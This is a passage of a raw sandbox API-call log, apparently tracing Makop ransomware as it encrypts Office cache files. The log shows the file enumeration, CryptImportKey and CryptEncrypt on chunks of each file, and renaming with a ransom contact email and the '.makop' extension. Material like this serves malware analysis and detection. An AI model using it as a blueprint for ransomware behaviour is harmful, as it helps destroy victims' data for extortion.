lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.238] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0067.238] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0067.238] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0067.316] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0067.318] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.318] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0067.322] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x267ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.323] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0067.323] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0067.323] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0067.338] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0067.341] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.341] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0067.344] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x267ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.344] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0067.344] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0067.344] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x267ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.345] SetEndOfFile (hFile=0x124) returned 1 [0067.354] GetProcessHeap () returned 0x48a0000 [0067.354] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0067.354] GetProcessHeap () returned 0x48a0000 [0067.354] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0067.354] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 121 [0067.355] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0067.360] CloseHandle (hObject=0x124) returned 1 [0067.360] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 1 [0067.360] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0067.360] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0067.361] GetProcessHeap () returned 0x48a0000 [0067.362] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0067.362] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0067.362] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0067.362] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0067.371] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0067.371] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0067.371] GetProcessHeap () returned 0x48a0000 [0067.371] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0067.371] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40) returned 1 [0067.371] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0067.371] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0067.371] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0067.371] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0067.372] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0067.372] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0067.372] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0067.372] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0067.372] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0067.372] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.372] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x708, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x708, lpOverlapped=0x0) returned 1 [0067.372] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x710, dwBufLen=0x710 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x710) returned 1 [0067.373] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.373] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x710, lpOverlapped=0x0) returned 1 [0067.373] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0067.373] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x7e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.374] SetEndOfFile (hFile=0x124) returned 1 [0067.380] GetProcessHeap () returned 0x48a0000 [0067.380] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0067.380] GetProcessHeap () returned 0x48a0000 [0067.380] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0067.380] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 121 [0067.380] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0067.385] CloseHandle (hObject=0x124) returned 1 [0067.385] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 0 [0067.385] FindClose (in: hFindFile=0x48c70a8 | out: hFindFile=0x48c70a8) returned 1 [0067.385] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-002C-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92787~1")) returned 1 [0067.385] wsprintfW (in: param_1=0x657c270, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C") returned 62 [0067.386] wsprintfW (in: param_1=0x65797f0, param_2="%s\\*.*" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*.*") returned 66 [0067.386] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70a8 [0067.406] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.406] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0067.406] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en") returned 71 [0067.407] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*.*") returned 75 [0067.407] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0067.408] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.409] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0067.409] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab") returned 81 [0067.409] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0067.410] GetFileSizeEx (in: hFile=0x130, lpFileSize=0x6577ab8 | out: lpFileSize=0x6577ab8*=11482605) returned 1 [0067.411] GetProcessHeap () returned 0x48a0000 [0067.411] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0067.411] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0067.411] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.411] WriteFile (in: hFile=0x130, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa4*=0x3, lpOverlapped=0x0) returned 1 [0067.416] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0067.416] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0067.416] GetProcessHeap () returned 0x48a0000 [0067.416] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0067.416] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6577a88*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6577a88*=0x30) returned 1 [0067.417] CryptDestroyKey (hKey=0x48c7128) returned 1 [0067.417] WriteFile (in: hFile=0x130, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6577aa4*=0x30, lpOverlapped=0x0) returned 1 [0067.417] WriteFile (in: hFile=0x130, lpBuffer=0x6577aac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577aac*, lpNumberOfBytesWritten=0x6577aa4*=0x4, lpOverlapped=0x0) returned 1 [0067.417] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa4*=0x10, lpOverlapped=0x0) returned 1 [0067.417] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa4*=0x80, lpOverlapped=0x0) returned 1 [0067.418] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0067.418] WriteFile (in: hFile=0x130, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa4*=0x8, lpOverlapped=0x0) returned 1 [0067.418] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0067.418] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0067.418] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0067.418] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0067.431] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0067.434] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.434] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0067.436] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xaf36b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.437] WriteFile (in: hFile=0x130, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0067.437] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0067.437] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0067.447] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0067.450] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.450] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0067.453] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xaf36b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.453] WriteFile (in: hFile=0x130, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0067.453] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xab35f0, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0067.453] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0067.460] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0067.463] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xab35f0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.463] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0067.465] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xaf36b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.465] WriteFile (in: hFile=0x130, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0067.465] CryptDestroyKey (hKey=0x48c7128) returned 1 [0067.466] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xaf36b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.466] SetEndOfFile (hFile=0x130) returned 1 [0067.491] GetProcessHeap () returned 0x48a0000 [0067.491] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0067.491] GetProcessHeap () returned 0x48a0000 [0067.491] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0067.491] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 128 [0067.491] MoveFileW (lpExistingFileName="C:\\MSOCache\\All 